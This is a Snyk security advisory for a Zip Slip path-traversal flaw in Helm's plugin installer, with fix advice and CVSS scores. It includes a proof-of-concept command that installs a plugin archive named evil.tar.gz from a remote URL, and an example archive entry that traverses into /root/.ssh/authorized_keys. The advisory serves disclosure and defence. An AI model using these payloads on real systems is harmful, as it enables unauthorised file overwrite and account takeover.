Arbitrary File Write via Archive Extraction (Zip Slip) Affecting helm.sh/helm/v3/pkg/plugin/installer package, versions >=3.0.0 <3.2.4


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.17% (55th percentile)

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  • Snyk ID SNYK-GOLANG-HELMSHHELMV3PKGPLUGININSTALLER-1083959
  • published 16 Jun 2020
  • disclosed 16 Jun 2020
  • credit Sam Sanoop of Snyk Security Team

How to fix?

Upgrade helm.sh/helm/v3/pkg/plugin/installer to version 3.2.4 or higher.

Overview

helm.sh/helm/v3/pkg/plugin/installer is a Kubernetes Package Manager.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). When installing Helm plugins from a tar archive over HTTP, it is possible for a malicious plugin author to inject a relative path into a plugin archive, and copy a file outside of the intended directory, or overwrite contents of an arbitrary file where the path location is known.

PoC

Run helm plugin install https://github.com/snoopysecurity/Public/raw/master/payloads/evil.tar.gz` 

The evil.tar.gz has a file called “../../../../../../../../tmp/test.txt”, which when extracted by the helm plugin installer will then move the test.txt file to the temp directory.

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

6.8 medium